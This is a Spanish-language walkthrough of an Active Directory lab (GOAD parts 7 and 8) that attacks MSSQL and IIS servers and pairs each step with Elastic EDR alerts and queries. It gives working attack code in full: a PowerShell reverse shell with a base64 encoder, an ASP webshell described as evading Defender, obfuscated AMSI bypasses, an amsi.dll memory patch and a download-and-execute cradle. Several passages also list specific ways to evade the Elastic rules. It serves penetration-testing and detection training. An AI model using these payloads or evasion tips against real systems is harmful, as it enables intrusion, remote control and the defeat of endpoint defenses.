# 7. MSSQL
En la publicación anterior (GOAD pwning parte 6) intentamos algunos ataques con ADCS activado en el dominio. Ahora, retrocedamos un poco y volvamos a castelblack.north.sevenkingdoms.local para echar un vistazo al servidor MSSQL.
Antes de entrar en este capítulo, he hecho algunas pequeñas configuraciones en el laboratorio. Para asegurarte de tener todo listo, debes actualizar y ejecutar: `ansible-playbook servers.yml` para obtener la última configuración de MSSQL.
Estas modificaciones son:
- arya.stark tiene el privilegio de ejecutar como usuario dbo para suplantación en msdb
- brandon.stark tiene permiso de suplantación sobre jon.snow
## Enumeración de los servidores MSSQL
### Impacket `GetUserSPNs.py`
Primero, intentemos identificar los usuarios con un SPN en un servidor MSSQL:
```
GetUserSPNs.py north.sevenkingdoms.local/brandon.stark:iseedeadpeople
```
Y en el dominio essos:
```
GetUserSPNs.py -target-domain essos.local north.sevenkingdoms.local/brandon.stark:iseedeadpeople
```
### Nmap
```
nmap -p 1433 -open -sV -sC 192.168.10.10-23
```
Dos servidores responden:
- castelblack.north.sevenkingdoms.local
- braavos.essos.local: el resultado es idéntico al de castelblack.
### NetExec
Probemos con NetExec:
```
nxc mssql 192.168.10.22-23
```
Ahora podríamos intentarlo con el usuario samwell.tarly:
```
nxc mssql 192.168.10.22 -u samwell.tarly -p Heartsbane -d north.sevenkingdoms.local
```
Como podemos ver, obtuvimos acceso a la base de datos.
### Impacket
Para enumerar y utilizar impacket MSSQL, hice una versión modificada del ejemplo `mssqlclient.py`. Puedes encontrar la versión [aquí](https://github.com/SecureAuthCorp/impacket/pull/1397).
La instalación es igual que en la parte 5, fusiona el PR en tu proyecto local de impacket y relanza la instalación:
```
git clone https://github.com/SecureAuthCorp/impacket myimpacket
cd myimpacket
python3 -m virtualenv myimpacket
source myimpacket/bin/activate
git fetch origin pull/1397/head:1397
git merge 1397
python3 -m pip install .
```
Nos conectamos al servidor MSSQL con el siguiente comando:
```
mssqlclient.py -windows-auth north.sevenkingdoms.local/samwell.tarly:Heartsbane@castelblack.north.sevenkingdoms.local
```
Y escribimos `help`:
```
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
enable_xp_cmdshell - you know what it means
disable_xp_cmdshell - you know what it means
enum_db - enum databases
enum_links - enum linked servers
enum_impersonate - check logins that can be impersonated
enum_logins - enum login users
enum_users - enum current db users
enum_owner - enum db owner
exec_as_user {user} - impersonate with execute as user
exec_as_login {login} - impersonate with execute as login
xp_cmdshell {cmd} - executes cmd using xp_cmdshell
xp_dirtree {path} - executes xp_dirtree on the path
sp_start_job {cmd} - executes cmd using the sql server agent (blind)
use_link {link} - linked server to use (set use_link localhost to go back to local or use_link .. to get back one step)
! {cmd} - executes a local shell cmd
show_query - show query
mask_query - mask query
```
Agregué algunas nuevas entradas a la base de datos: enum_db, enum_links, enum_impersonate, enum_login, enum_owner, exec_as_user, exec_as_login, use_link, show_query, mask_query.
Comencemos la enumeración:
```
enum_logins
```
Esto lanza la siguiente consulta (el significado de los valores de roles se puede ver [aquí](https://docs.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-server-principals-transact-sql?view=sql-server-ver16)):
```sql=
select r.name,r.type_desc,r.is_disabled, sl.sysadmin, sl.securityadmin,
sl.serveradmin, sl.setupadmin, sl.processadmin, sl.diskadmin, sl.dbcreator, sl.bulkadmin
from master.sys.server_principals r
left join master.sys.syslogins sl on sl.sid = r.sid
where r.type in ('S','E','X','U','G')
```
Vemos solo una vista básica ya que somos un usuario simple.
### Suplantación - Ejecutar como login
Enumeremos los valores de suplantación:
```
enum_impersonate
```
Esto lanza las siguientes consultas:
```sql=
SELECT 'LOGIN' as 'execute as','' AS 'database',
pe.permission_name, pe.state_desc,pr.name AS 'grantee', pr2.name AS 'grantor'
FROM sys.server_permissions pe
JOIN sys.server_principals pr ON pe.grantee_principal_id = pr.principal_Id
JOIN sys.server_principals pr2 ON pe.grantor_principal_id = pr2.principal_Id WHERE pe.type = 'IM'
```
El comando anterior lista todos los inicios de sesión con permiso de suplantación.
Esto también lanza el siguiente comando en cada base de datos:
```sql=
use <db>;
SELECT 'USER' as 'execute as', DB_NAME() AS 'database',
pe.permission_name,pe.state_desc, pr.name AS 'grantee', pr2.name AS 'grantor'
FROM sys.database_permissions pe
JOIN sys.database_principals pr ON pe.grantee_principal_id = pr.principal_Id
JOIN sys.database_principals pr2 ON pe.grantor_principal_id = pr2.principal_Id WHERE pe.type = 'IM'
```
El comando anterior lista todos los usuarios con permiso de suplantación.
> ¿Cuál es la diferencia entre un "login" y un "usuario"?
> - El "login" proporciona acceso al servidor.
> - El "usuario" proporciona acceso a una base de datos específica.
Encontré una imagen que lo explica bien y también un resumen muy agradable [aquí](https://blog.sqlauthority.com/2019/05/21/sql-server-difference-between-login-vs-user-security-concepts/):
*"SQL Login es para autenticación y SQL Server User es para autorización. La autenticación puede decidir si tenemos permisos para acceder al servidor o no y la autorización decide qué operaciones diferentes podemos hacer en una base de datos. El inicio de sesión se crea a nivel de instancia de SQL Server y el usuario se crea a nivel de base de datos de SQL Server. Podemos tener múltiples usuarios de diferentes bases de datos conectados a un solo inicio de sesión en un servidor."*
Ok, veamos el resultado:
Samwell tiene suplantación de inicio de sesión al usuario sa. Así que podemos suplantar a sa con `execute as login` y ejecutar comandos con `xp_cmdshell`.
```
exec_as_login sa
enable_xp_cmdshell
xp_cmdshell whoami
```
Esto lanza los siguientes comandos:
```sql=
execute as login='sa';
exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;
exec master..xp_cmdshell 'whoami'
```
¡Y obtenemos ejecución de comandos!
Detecciones de Elastic:
Elastic ha detectado la ejecución del procedimiento almacenado xp_cmdshell en un servidor MSSQL. Esta alerta es de alta severidad, ya que xp_cmdshell permite la ejecución de comandos del sistema operativo directamente desde SQL Server, lo cual puede ser explotado por atacantes para ejecutar código malicioso con privilegios elevados. La alerta se genera cuando el proceso cmd.exe es iniciado por sqlservr.exe, indicando que un comando de sistema fue ejecutado desde SQL Server.
La consulta EQL (Event Query Language) utilizada por Elastic busca eventos de inicio de procesos en sistemas Windows donde el proceso padre es sqlservr.exe (indicativo de SQL Server). Filtra específicamente procesos como cmd.exe, vpnbridge.exe, certutil.exe y bitsadmin.exe, excluyendo algunos argumentos comunes y benignos para cmd.exe. Al detectar cualquiera de estos procesos ejecutados por SQL Server, la consulta genera una alerta, ya que esto podría indicar el uso del procedimiento almacenado xp_cmdshell para ejecutar comandos del sistema operativo, lo cual es inusual y potencialmente malicioso.
Consulta EQL:
```
process where host.os.type == "windows" and event.type == "start" and process.parent.name : "sqlservr.exe" and
(
(process.name : "cmd.exe" and
not process.args : ("\\\\*", "diskfree", "rmdir", "mkdir", "dir", "del", "rename", "bcp", "*XMLNAMESPACES*",
"?:\\MSSQL\\Backup\\Jobs\\sql_agent_backup_job.ps1", "K:\\MSSQL\\Backup\\msdb", "K:\\MSSQL\\Backup\\Logins")) or
(process.name : "vpnbridge.exe" or ?process.pe.original_file_name : "vpnbridge.exe") or
(process.name : "certutil.exe" or ?process.pe.original_file_name == "CertUtil.exe") or
(process.name : "bitsadmin.exe" or ?process.pe.original_file_name == "bitsadmin.exe")
)
```
Referencias:
* https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/
Un atacante podría haber evitado generar esta alerta empleando argumentos de cmd.exe que están explícitamente excluidos en la consulta, como dir, mkdir, o rmdir, para evitar la detección. Por ejemplo, podría usar una combinación de comandos sospechosos y permitidos en una sola línea: `whoami && mkdir`.
Continuemos nuestra enumeración como inicio de sesión sa esta vez:
```
enum_logins
```
Como podemos ver, con el inicio de sesión sa vemos muchas más cosas. Y podemos ver que jon.snow es sysadmin en el servidor MSSQL.
Veamos si hay otros privilegios de suplantación:
```
enum_impersonate
```
Como usuario sysadmin (sa), podemos ver toda la información en la base de datos y también los otros usuarios con privilegios de suplantación.
Otra forma de acceder podría ser conectarse como brandon.stark y hacer `execute as login` en el usuario jon.snow.
### Suplantación - Ejecutar como usuario
Lanzamos una conexión a la base de datos como arya.stark:
```
mssqlclient.py -windows-auth north.sevenkingdoms.local/arya.stark:Needle@castelblack.north.sevenkingdoms.local
```
Si usamos la base de datos master y suplantamos al usuario dbo, no podemos obtener una shell:
```
exec_as_user dbo
xp_cmdshell whoami
enable_xp_cmdshell
```
Esto lanza los siguientes comandos:
```sql=
use master
execute as user = "dbo"
exec master..xp_cmdshell 'whoami'
```
Pero nuestro usuario también tiene privilegio de suplantación sobre el usuario dbo en la base de datos msdb.
La diferencia entre las dos bases de datos es que msdb tiene la propiedad de confianza configurada (valor predeterminado en msdb).
Con la propiedad de confianza obtenemos una shell.
```
use msdb
exec_as_user dbo
enable_xp_cmdshell
xp_cmdshell whoami
```
Detecciones de Elastic:
Misma que antes: "Execution via MSSQL xp_cmdshell Stored Procedure"
### Forzar autenticación y retransmisión
MSSQL también se puede usar para forzar una autenticación NTLM desde el servidor MSSQL. La conexión entrante será del usuario que ejecuta el servidor MSSQL.
En nuestro caso, si tomamos cualquier usuario como hodor, por ejemplo, podemos obtener una autenticación NTLM.
Iniciar Responder:
```
python3 Responder.py -I eth0
```
Conectamos con hodor (0 privilegios):
```
mssqlclient.py -windows-auth north.sevenkingdoms.local/hodor:hodor@castelblack.north.sevenkingdoms.local
```
Ejecutamos un comando `xp_dirtree`:
```
show_query
xp_dirtree \\192.168.10.5\demontlm
```
Esto lanza el siguiente comando:
```sql
exec master.sys.xp_dirtree '\\192.168.10.5\demontlm',1,1
```
Y obtenemos una conexión de vuelta a nuestro Responder.
Esto también funcionará con `ntlmrelayx` (como con un servidor ejecutándose como administrador y con la misma contraseña en otros servidores). Pero en el laboratorio, este tipo de comportamiento no está configurado por ahora.
### Enlaces de confianza
Otro abuso de SQL que podríamos intentar en el laboratorio es el uso de enlaces de confianza MSSQL.
> Ten en cuenta que el enlace de confianza también es una técnica de bosque a bosque.
Para abusar de los enlaces, conectémonos con jon.snow y usemos `enum_links`:
```
mssqlclient.py -windows-auth north.sevenkingdoms.local/jon.snow:iknownothing@castelblack.north.sevenkingdoms.local -show
SQL (NORTH\jon.snow dbo@master)> enum_links
```
Esto ejecuta las siguientes consultas:
```
EXEC sp_linkedservers
EXEC sp_helplinkedsrvlogin
```
Como podemos ver, existe un servidor vinculado con el nombre BRAAVOS y existe un mapeo con el usuario jon.snow y sa en braavos.
Si usamos el enlace, podemos obtener una inyección de comando en braavos:
```
use_link BRAAVOS
enable_xp_cmdshell
xp_cmdshell whoami
```
Esto ejecuta los siguientes comandos MSSQL:
```
EXEC ('select system_user as "username"') AT BRAAVOS
EXEC ('exec master.dbo.sp_configure ''show advanced options'',1;RECONFIGURE;exec master.dbo.sp_configure ''xp_cmdshell'', 1;RECONFIGURE;') AT BRAAVOS
EXEC ('exec master..xp_cmdshell ''whoami''') AT BRAAVOS
```
Obtenemos una inyección de comando en braavos.essos.local como essos\sql_svc.
Detecciones de Elastic:
He hecho modificaciones en `mssqlclient.py` para poder encadenar `trusted_links`. Desde esto, podemos continuar a otro enlace de confianza, etc.
```
use_link BRAAVOS
exec_as_login ESSOS\khal.drogo
use_link CASTELBLACK
show_query
xp_cmdshell whoami
enable_xp_cmdshell
xp_cmdshell whoami
```
Detecciones de Elastic:
## De ejecución de comandos a shell
Obtenemos ejecución de comandos en castelblack y también en braavos. Pero ahora queremos una shell para interactuar con el servidor.
Para obtener una shell, podemos usar una webshell básica de Powershell (hay una disponible en el proyecto arsenal commands cheatsheet. Este es otro de mis proyectos que necesitaré mejorar cuando tenga tiempo, pero este script ya no pasa el defensor, así que hagamos algunas modificaciones):
```powershell=
$c = New-Object System.Net.Sockets.TCPClient('192.168.10.5',4444);
$s = $c.GetStream();[byte[]]$b = 0..65535|%{0};
while(($i = $s.Read($b, 0, $b.Length)) -ne 0){
$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);
$sb = (iex $d 2>&1 | Out-String );
$sb = ([text.encoding]::ASCII).GetBytes($sb + 'ps> ');
$s.Write($sb,0,$sb.Length);
$s.Flush()
};
$c.Close()
```
Convirtamos este comando de PowerShell a base64 en utf-16 para PowerShell:
```python=
#!/usr/bin/env python
import base64
import sys
if len(sys.argv) < 3:
print('usage : %s ip port' % sys.argv[0])
sys.exit(0)
payload="""
$c = New-Object System.Net.Sockets.TCPClient('%s',%s);
$s = $c.GetStream();[byte[]]$b = 0..65535|%%{0};
while(($i = $s.Read($b, 0, $b.Length)) -ne 0){
$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);
$sb = (iex $d 2>&1 | Out-String );
$sb = ([text.encoding]::ASCII).GetBytes($sb + 'ps> ');
$s.Write($sb,0,$sb.Length);
$s.Flush()
};
$c.Close()
""" % (sys.argv[1], sys.argv[2])
byte = payload.encode('utf-16-le')
b64 = base64.b64encode(byte)
print("powershell -exec bypass -enc %s" % b64.decode())
```
```
python3 payload.py 192.168.10.5 4444
```
Ejecuta esto y obtén una shell.
Detecciones de Elastic:
Elastic ha generado dos alertas relacionadas con esta explotación.
Elastic ha detectado la ejecución de un comando a través del procedimiento almacenado xp_cmdshell en un servidor MSSQL. Específicamente, un proceso de cmd.exe fue iniciado por el proceso padre sqlservr.exe, bajo el usuario sql_svc en el host castelblack. El comando ejecutado involucró el uso de cmd.exe para invocar PowerShell con parámetros que permiten la ejecución de scripts en modo bypass y con contenido codificado, indicando una posible actividad maliciosa que busca ejecutar código arbitrario en el sistema.
Elastic ha detectado la ejecución de un comando PowerShell con el argumento -enc, lo cual es común en actividades maliciosas debido a su capacidad para ejecutar comandos codificados en Base64. La regla específicamente busca patrones de argumentos y comandos asociados a actividades sospechosas. En este caso, el comando powershell -exec bypass -enc fue ejecutado desde cmd.exe por el usuario sql_svc en el host castelblack, lo que activó la alerta por coincidir con los criterios de comportamiento malicioso definidos en la regla.
Regla de detección: https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/execution_suspicious_powershell_execution.toml
Un atacante podría no usar -enc ni -exec bypass, que son indicadores comunes de comportamiento malicioso.
## Otras herramientas para usar
Hay algunos proyectos interesantes para explotar MSSQL, aquí algunos de ellos:
- [NetSPI ESC](https://github.com/NetSPI/ESC)
- [NetSPI PowerUpSQL](https://github.com/NetSPI/PowerUpSQL/wiki/PowerUpSQL-Cheat-Sheet)
- [OSEP Code Snippets](https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/MSSQL/Program.cs)
Información interesante:
- [Pentesting MSSQL](https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server)
- [Snovvcrash MSSQL](https://ppn.snovvcrash.rocks/pentest/infrastructure/dbms/mssql)
- [PayloadsAllTheThings MSSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MSSQL%20Injection.md)
- [Red Team MSSQL Server](https://h4ms1k.github.io/Red_Team_MSSQL_Server/)
- [Database Security Audit](https://github.com/Jean-Francois-C/Database-Security-Audit/blob/master/MSSQL%20database%20penetration%20testing)
La próxima vez nos divertiremos con IIS y obtendremos una shell como NT AUTHORITY\SYSTEM en los servidores: (GOAD pwning parte 8) :)
# 8. Escalada de privilegios
En el post anterior (GOAD pwning parte 7) probamos algunos ataques con MSSQL en el dominio. Esta vez obtendremos una webshell en IIS e intentaremos algunas técnicas de escalada de privilegios.
## IIS - Webshell
Hay una aplicación ASP.NET simple en http://192.168.10.22/, que solo nos proporciona una funcionalidad básica de subida de archivos.
Desde allí podemos subir una webshell básica en ASP: `webshell.asp` (en el momento de escribir esto, evita la firma del Defender):
```asp
<%
Function getResult(theParam)
Dim objSh, objResult
Set objSh = CreateObject("WScript.Shell")
Set objResult = objSh.exec(theParam)
getResult = objResult.StdOut.ReadAll
end Function
%>
<HTML>
<BODY>
Enter command:
<FORM action="" method="POST">
<input type="text" name="param" size=45 value="<%= myValue %>">
<input type="submit" value="Run">
</FORM>
<p>
Result :
<%
myValue = request("param")
thisDir = getResult("cmd /c" & myValue)
Response.Write(thisDir)
%>
</p>
<br>
</BODY>
</HTML>
```
La webshell se sube en la carpeta de "upload".
Detecciones de Elastic:
Nada más acceder a la webshell, Elastic ha generado una alerta de alta severidad relacionada con la ejecución de un proceso sospechoso que podría indicar la presencia de una webshell en el servidor. Una webshell es un script malicioso que permite a un atacante ejecutar comandos en el servidor de forma remota. La alerta se ha generado porque se ha observado que el proceso cmd.exe ha sido iniciado por un proceso de servidor web común (w3wp.exe en este caso, que es el proceso del IIS de Microsoft).
La consulta EQL (Elastic Query Language) identifica eventos en sistemas Windows donde se inicie un proceso con cmd.exe u otros intérpretes de comandos (cscript.exe, powershell.exe, etc.) cuyo proceso padre sea un servidor web común (w3wp.exe, httpd.exe, nginx.exe, etc.). Se excluyen ciertos patrones específicos considerados falsos positivos, como comandos de mantenimiento legítimos (cmd.exe /c mode CON). Esta lógica detecta posibles actividades maliciosas, como la ejecución de scripts a través de webshells, correlacionando eventos para identificar comportamientos anómalos en el servidor web.
Consulta EQL:
```
process where host.os.type == "windows" and event.type == "start" and
process.parent.name : ("w3wp.exe", "httpd.exe", "nginx.exe", "php.exe", "php-cgi.exe", "tomcat.exe") and
process.name : ("cmd.exe", "cscript.exe", "powershell.exe", "pwsh.exe", "powershell_ise.exe", "wmic.exe", "wscript.exe") and
not
(
process.parent.name : ("php.exe", "httpd.exe") and process.name : "cmd.exe" and
process.command_line : (
"cmd.exe /c mode CON",
"cmd.exe /s /c \"mode CON\"",
"cmd.exe /c \"mode\"",
"cmd.exe /s /c \"tput colors 2>&1\""
)
)
)
```
Referencias:
* https://www.microsoft.com/security/blog/2020/02/04/ghost-in-the-shell-investigating-web-shell-attacks/
* https://www.elastic.co/security-labs/elastic-response-to-the-the-spring4shell-vulnerability-cve-2022-22965
* https://www.elastic.co/security-labs/hunting-for-persistence-using-elastic-security-part-1
Un atacante podría haber evitado generar esta alerta utilizando herramientas de post-explotación más avanzadas que no dependan de la ejecución directa de cmd.exe o similares, como por ejemplo: https://github.com/kraken-ng/Kraken
Tenemos ejecución de comandos en el servidor IIS.
Detecciones de Elastic:
Elastic ha detectado que el proceso cmd.exe ha sido ejecutado como hijo del proceso w3wp.exe (el proceso del servicio IIS en Windows), que es un comportamiento típico de un web shell. El comando ejecutado fue cmd /c whoami, lo que podría ser un intento de un atacante para verificar su nivel de acceso en el sistema. Este patrón es sospechoso porque los procesos legítimos del servidor web normalmente no deberían iniciar instancias de la línea de comandos de esta manera.
Elastic ha detectado una actividad sospechosa del proceso whoami.exe, el cual es utilizado para mostrar información del usuario, grupo y privilegios del usuario que está actualmente logueado en el sistema local. Esta detección se relaciona con técnicas de descubrimiento (Discovery) dentro del framework MITRE ATT&CK, específicamente con la técnica de descubrimiento de propietarios/usuarios del sistema (T1033).
Podemos obtener una shell inversa usando el mismo método que utilizamos para MSSQL.
Detecciones de Elastic:
Elastic ha detectado la ejecución de un comando PowerShell sospechoso iniciado por el proceso cmd.exe bajo la cuenta DefaultAppPool en el host castelblack. El comando PowerShell ejecutado contenía argumentos que se consideran típicos de comportamientos maliciosos, comúnmente utilizados durante la instalación de malware, lo que generó una alerta crítica de comportamiento malicioso.
Elastic ha detectado un comando sospechoso ejecutado a través del servidor web IIS, donde el proceso cmd.exe, iniciado por w3wp.exe bajo el usuario DefaultAppPool, ejecutó powershell -exec bypass -enc. Este comando sugiere la actividad de una web shell, utilizando PowerShell con políticas de ejecución de scripts deshabilitadas y comandos codificados en Base64, indicando un posible acceso remoto malicioso y ejecución de comandos en el servidor.
Como usuario del servicio IIS, ¡tenemos el privilegio `SeImpersonatePrivilege`! (lo mismo ocurre con MSSQL, el servicio tiene este permiso por defecto).
## Escalada de privilegios
Existen muchas técnicas de escalada de privilegios en Microsoft Windows. Aquí intentaremos dos que no tienen una solución definitiva por parte de Microsoft: `PrintSpoofer` y `KrbRelay`.
Como la escalada de privilegios se ejecuta en el ordenador objetivo, en este capítulo usaremos PowerShell para escalar nuestros privilegios.
### Evasión de AMSI
> Para realizar todas mis pruebas, habilité Windows Defender en todos los sistemas. Castelblack tiene Defender desactivado por defecto, deberías habilitarlo antes de probar las técnicas de escalada de privilegios descritas aquí.
Activar Windows Defender:
```powershell
Set-MpPreference -DisableRealtimeMonitoring $false
Set-MpPreference -DisableIOAVProtection $false
```
Para poder ejecutar aplicaciones normalmente detectadas por el antivirus desde la memoria, debes evadir la Interfaz de Escaneo de Malware (AMSI) en el proceso actual.
Existen múltiples formas de evadir AMSI, que puedes encontrar en la página de GitHub: [AMSI-Bypass-Powershell](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell)
También puedes encontrar payloads generados a medida en el sitio web [amsi.fail](https://amsi.fail).
Todos los métodos disponibles públicamente parecen estar firmados, pero también podemos seleccionar uno y hacer algunas pequeñas modificaciones a mano.
Versión original:
```powershell
# Segundo método de Reflection de Matt Graebers
[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext',[Reflection.BindingFlags]'NonPublic,Static').GetValue($null),0x41414141)
```
Versión modificada:
```powershell
$x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');$y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static');$z=$y.GetValue($null);[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)
```
Estas modificaciones triviales son suficientes para evitar la firma en el momento de redactar esto. Una vez hecho esto, podemos usar la evasión de AMSI de RastaMouse para deshabilitar AMSI a nivel .NET.
Para entender por qué se debe hacer esto, debes leer este post de @ShitSecure que explica la diferencia entre PowerShell y el nivel de AMSI en .NET: [Powershell and the .NET AMSI Interface](https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/)
PowerShell y .NET tienen enfoques distintos en la manera en que AMSI escanea y bloquea contenido malicioso. En PowerShell, AMSI escanea scripts, mientras que en .NET analiza binarios (.exe o .dll). Las técnicas de evasión usadas en PowerShell no funcionan en .NET; para este último, es necesario parchear `amsi.dll` en memoria.
```powershell
# Parcheando amsi.dll AmsiScanBuffer por rasta-mouse
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("amsi.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "AmsiScanBuffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
```
Ponemos el script de evasión en nuestro disco y lo cargamos de forma remota:
```bash
python3 -m http.server 8080
```
```powershell
(new-object system.net.webclient).downloadstring('http://10.10.10.10:8080/amsi_rmouse.txt')|IEX
```
Detecciones de Elastic:
Hasta primer comando ejecutado:
Después del segundo comando ejecutado de IEX:
Elastic ha detectado la ejecución de un comando de PowerShell en el host castelblack que contiene palabras clave relacionadas con métodos de evasión del Antimalware Scan Interface (AMSI), específicamente System.Management.Automation.AmsiUtils y técnicas como [System.Runtime.InteropServices.Marshal]::Copy y VirtualProtect, indicando un intento de desactivar o evadir AMSI para ejecutar scripts maliciosos sin ser detectado.
La consulta funciona buscando eventos de proceso en sistemas Windows que involucren scripts de PowerShell con texto que coincida con una serie de palabras clave específicas asociadas con métodos de evasión de AMSI, como System.Management.Automation.AmsiUtils, amsiInitFailed, y otras técnicas avanzadas como [System.Runtime.InteropServices.Marshal]::Copy y VirtualProtect. Excluye scripts que contienen ciertas combinaciones inofensivas como sentinelbreakpoints y Set-PSBreakpoint, asegurando que solo se detecten posibles intentos maliciosos de desactivar AMSI.
Consulta EQL:
```
event.category:"process" and host.os.type:windows and
(
powershell.file.script_block_text : (
"System.Management.Automation.AmsiUtils" or
amsiInitFailed or
"Invoke-AmsiBypass" or
"Bypass.AMSI" or
"amsi.dll" or
AntimalwareProvider or
amsiSession or
amsiContext or
AmsiInitialize or
unloadobfuscated or
unloadsilent or
AmsiX64 or
AmsiX32 or
FindAmsiFun
) or
powershell.file.script_block_text:("[System.Runtime.InteropServices.Marshal]::Copy" and "VirtualProtect") or
powershell.file.script_block_text:("[Ref].Assembly.GetType(('System.Management.Automation" and ".SetValue(")
) and
not powershell.file.script_block_text : (
"sentinelbreakpoints" and "Set-PSBreakpoint"
)
```
Elastic ha detectado la ejecución del script de PowerShell debido a la coincidencia con los siguientes términos específicos en la consulta:
1. **Coincidencia con `"amsi.dll"`:**
- El script incluye `$LoadLibrary = [Win32]::LoadLibrary("amsi.dll")`, que coincide con la búsqueda de `"amsi.dll"` en `powershell.file.script_block_text`.
2. **Coincidencia con `"VirtualProtect"`:**
- El script utiliza `[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)`, que coincide con `"VirtualProtect"` en `powershell.file.script_block_text`.
3. **Coincidencia con `"[System.Runtime.InteropServices.Marshal]::Copy"`:**
- El script contiene la línea `[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)`, que coincide con `"[System.Runtime.InteropServices.Marshal]::Copy"` en la consulta.
Referencias:
* https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
Un atacante podría haber evitado generar esta alerta con los siguientes métodos:
1. Renombrar funciones y variables críticas para evitar términos como `"amsi.dll"`, `VirtualProtect`, y `[System.Runtime.InteropServices.Marshal]::Copy`
2. Concatenar strings: `"am" + "si.dll"`
3. Usar otras API de Windows para modificar permisos de memoria sin `VirtualProtect` y `Marshal.Copy`, como NtProtectVirtualMemory
4. Codificar cadenas sensibles en Base64 o XOR y decodificarlas en tiempo de ejecución
Elastic ha detectado una alerta crítica de malware debido a la ejecución del comando csc.exe (Microsoft C# Compiler) desde powershell.exe, que creó el archivo sospechoso tn45t0oq.dll en el directorio C:\Windows\Temp. Esta actividad fue realizada por el usuario DefaultAppPool en el host castelblack, lo que generó una alerta de seguridad significativa.
Aunque el comando `IEX` no llama directamente a `csc.exe`, el script PowerShell incluye código C# que se compila mediante el cmdlet `Add-Type`. Este cmdlet compila el código C# en tiempo de ejecución, lo que implica el uso del compilador de C# (`csc.exe`).
Elastic ha detectado una alerta crítica debido a un comportamiento malicioso relacionado con un intento de evasión de AMSI (Anti Malware Scan Interface) a través de memoria no respaldada. La detección se ha producido cuando el proceso powershell.exe, ejecutado por el usuario DefaultAppPool en el host castelblack, intentó modificar permisos o escribir en la DLL de AMSI desde memoria no respaldada. Esto indica una posible tentativa de evasión de detección por parte de un malware.
La consulta de la regla en Elastic Security funciona buscando eventos de la API donde un proceso intenta interactuar con `amsi.dll` mediante las funciones `VirtualProtect` o `WriteProcessMemory`, indicando posibles intentos de modificación de permisos o escritura en la DLL de AMSI. Filtra estos eventos para procesos que no sean nulos y que utilicen memoria no respaldada, excluyendo aquellos cuya protección de memoria provenga del kernel. Si se cumplen estas condiciones, la regla genera una alerta, señalando un posible intento de evasión de AMSI desde memoria no respaldada.
Regla: https://github.com/elastic/protections-artifacts/blob/30ed729a461f99a5d0f26622302d68d1416fabc6/behavior/rules/defense_evasion_amsi_bypass_via_unbacked_memmory.toml
Un atacante podría evitar generar esta alerta al:
1. **No usar `VirtualProtect` ni `WriteProcessMemory`:** Emplear otras funciones API que no estén monitorizadas por la consulta para modificar la memoria de AMSI.
2. **No interactuar directamente con `amsi.dll`:** Utilizar técnicas indirectas para evadir AMSI sin tocar `amsi.dll`.
3. **Evitar el uso de memoria no respaldada:** Realizar modificaciones desde memoria respaldada o asociada a un archivo en disco.
4. **Ofuscar las llamadas API:** Usar técnicas de ofuscación para enmascarar el uso de `VirtualProtect` y `WriteProcessMemory`.
5. **Evitar detección en la pila de llamadas:** Manipular la pila de llamadas para evitar que se detecte memoria no respaldada.
La alerta generada por Elastic indica que se ha detectado un intento de evadir las protecciones AMSI (Anti-Malware Scan Interface) o WLDP (Windows Lock Down Policy) mediante la modificación de la memoria. Estas protecciones son componentes de seguridad de Windows diseñados para prevenir la ejecución de código malicioso y restringir ciertas operaciones en el sistema.
La consulta de detección en Elastic busca identificar procesos que intentan modificar las DLLs relacionadas con AMSI y WLDP mediante técnicas de manipulación de memoria. Específicamente, monitorea llamadas a las APIs VirtualProtect y WriteProcessMemory, con parámetros que indiquen cambios en la protección de la memoria o escrituras en memoria, y verifica si estos procesos interactúan con amsi.dll, mpoav.dll o wldp.dll. La consulta también filtra por la firma digital de los procesos, excluyendo aquellos que están firmados por ciertos proveedores de software conocidos y de confianza, y omite procesos ejecutados desde rutas específicas relacionadas con aplicaciones legítimas, para reducir falsos positivos.
Regla: https://github.com/elastic/protections-artifacts/blob/30ed729a461f99a5d0f26622302d68d1416fabc6/behavior/rules/defense_evasion_amsi_or_wldp_bypass_via_memory_patching.toml
Para evitar generar esta alerta basada en la consulta, un atacante podría:
1. **Evitar APIs Monitorizadas**: Utilizar técnicas que no invoquen `VirtualProtect` o `WriteProcessMemory` para modificar la memoria. Alternativamente, pueden usar otras APIs o métodos menos vigilados para realizar cambios en la memoria.
2. **Evitar DLLs Específicas**: No interactuar directamente con `amsi.dll`, `mpoav.dll` o `wldp.dll`. En su lugar, podrían atacar otros componentes del sistema o usar técnicas de redireccionamiento para desviar la atención de estas DLLs.
3. **Ofuscación y Carga Indirecta**: Ofuscar el código para evitar la detección basada en patrones. Además, cargar módulos maliciosos desde ubicaciones no estándar que no sean monitoreadas.
